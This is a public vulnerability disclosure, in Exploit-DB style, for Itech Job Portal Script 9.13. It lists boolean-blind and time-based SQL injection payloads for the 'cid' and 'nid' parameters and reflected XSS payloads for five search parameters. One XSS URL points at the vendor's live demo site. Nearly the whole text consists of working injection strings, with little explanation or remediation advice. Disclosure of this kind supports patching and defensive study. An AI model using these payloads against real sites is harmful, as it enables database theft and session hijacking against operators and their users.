66 lines
No EOL
2.1 KiB
Text
66 lines
No EOL
2.1 KiB
Text
# Exploit Title : Itech Job Portal Script - Multiple Vulnerabilities
|
|
# Author : Yunus YILDIRIM (Th3GundY)
|
|
# Team : CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
|
|
# Website : http://www.yunus.ninja
|
|
# Contact : yunusyildirim@protonmail.com
|
|
|
|
# Vendor Homepage : http://itechscripts.com/
|
|
# Software Link : http://itechscripts.com/job-portal-script/
|
|
# Vuln. Version : 9.13
|
|
# Demo : http://job-portal.itechscripts.com/
|
|
|
|
|
|
# # # # DETAILS # # # #
|
|
|
|
SQL Injections :
|
|
|
|
# 1
|
|
http://localhost/career_advice_details.php?cid=5
|
|
Parameter: cid (GET)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: cid=5' AND 7504=7504-- zpmu
|
|
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 OR time-based blind (comment)
|
|
Payload: cid=5' OR SLEEP(5)#
|
|
|
|
# 2
|
|
http://localhost/news_details_us.php?nid=1
|
|
Parameter: nid (GET)
|
|
Type: boolean-based blind
|
|
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
|
|
Payload: nid=1' RLIKE (SELECT (CASE WHEN (2796=2796) THEN 1 ELSE 0x28 END))-- WmMl
|
|
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 OR time-based blind
|
|
Payload: nid=1' OR SLEEP(5)-- UoUN
|
|
|
|
# # # # # # # # # # # # # # # # # # # # # # # #
|
|
|
|
Cross site scriptings (XSS) :
|
|
|
|
# 1
|
|
http://localhost/search_result_alluser.php?function="><svg/onload=prompt('CT-Zer0');>
|
|
Parameter: function (GET)
|
|
Payload: "><svg/onload=prompt('CT-Zer0');>
|
|
|
|
# 2
|
|
http://localhost/search_result_alluser.php?ind="><svg/onload=prompt('CT-Zer0');>
|
|
Parameter: ind (GET)
|
|
Payload: "><svg/onload=prompt('CT-Zer0');>
|
|
|
|
# 3
|
|
http://localhost/search_result_alluser.php?loc="><svg/onload=prompt('CT-Zer0');>
|
|
Parameter: loc (GET)
|
|
Payload: "><svg/onload=prompt('CT-Zer0');>
|
|
|
|
# 4
|
|
http://localhost/search_result_alluser.php?compid="><svg/onload=prompt('CT-Zer0');>
|
|
Parameter: compid (GET)
|
|
Payload: "><svg/onload=prompt('CT-Zer0');>
|
|
|
|
# 5
|
|
http://job-portal.itechscripts.com/search_result_alluser.php?days_chk="><svg/onload=prompt('CT-Zer0');>
|
|
Parameter: days_chk (GET)
|
|
Payload: "><svg/onload=prompt('CT-Zer0');> |